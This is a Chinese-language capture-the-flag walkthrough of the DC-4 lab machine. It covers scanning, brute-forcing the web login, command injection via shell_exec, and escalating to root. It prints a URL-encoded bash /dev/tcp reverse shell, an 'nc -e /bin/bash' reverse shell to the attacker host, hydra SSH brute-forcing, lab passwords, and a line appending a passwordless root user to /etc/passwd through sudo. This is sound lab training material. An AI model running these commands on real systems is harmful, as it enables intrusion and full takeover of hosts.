DC-4靶机

≡放荡痞女 提交于 2020-08-19 05:41:51

下载,安装(vmware直接导入文件),桥接

kali开始nmap扫描

nmap -sP 192.168.123.0/24

找到目标ip:192.168.123.9

浏览器访问,就一个登陆页面

 

 nmap扫描端口;只有22和80

可以确定是linux了(废话)

 再dirsearch扫描目录

 也没有有用的信息

先试试注入,手注和sqlmap都没找出什么来

 

burp抓包跑字典暴力破解再试试看

 暴力破解出了结果

admin

happy

登陆后的页面,

 

 

 只有一个command,点进去,有3个命令供执行

ls -l    显示目录内容列表

du -h      显示每个文件和目录的磁盘使用情况

df -h   显示磁盘相关信息

 

 

 试试抓包,执行命令作为明文参数,修改成别的,发现也可以执行(这里我是换成了dir)

 

 

 验证其可行性后,试试看别的命令,cat command.php

可以看到执行命令的是这个shell_exec()函数

 

 

 用户是www-data,权限组在33

没有写文件的权限

直接反弹shell

 

 

 看上去像是把命令里的&符当成分隔符了。编码一下就解决了

 bash+-i+>%26%2Fdev%2Ftcp%2F192.168.123.42%2F1234+0>%261
然鹅还是反弹不出来,看不到报错,也不知道是什么的原因

换nc反弹

nc 192.168.123.41 1234 -e /bin/bash

反弹成功

查看是否有可用于suid提权的文件

find / -user root -perm -4000 -print 2>/dev/null

没找到

sudo也用不了

 uname -a和lsb_release -a查看系统版本

 

 

 去sploitdb里面找是否有可以用的漏洞

 有一些关于ssh的漏洞,但是在反弹回来的shell下,我没有权限wget下载文件

 

看了一些别人的博客,到/home目录下,有三个用户

 

 

 但是只有jim下面有文件

 backups里面有一个oldpasswd.bak,是一些密码,估计是要爆破

mbox打不开,没有权限

test.sh文件内容像是提示

 

 

 先尝试爆破

把oldpasswords.bak中的数据保存下来(jim.txt)

再使用hydra进行爆破

 hydra -l jim -P jim.txt 192.168.123.9 ssh

不到半分钟就出来了

 

 

 密码:jibril04
通过ssh登陆jim

查看mbox文件内容

 

 

 看内容是一封邮件

从jim这边查找文件,再var/mail下看到一封jim的邮件,打开

 

 得到了用户charles的密码^xHhA&hvim0y
试着登陆一下

 

 成功

跟着这个思路,回到www-data,查看www-data文件,

 

 有很多封邮件,但是都没用

登陆到charles后,可以使用sudo

用sudo -l看一下,命令teehee不需要密码就可以执行,用

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

在passwd下面添加一个没有密码的root用户,

然后就可以在/root下找到flag了

 

 

 

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!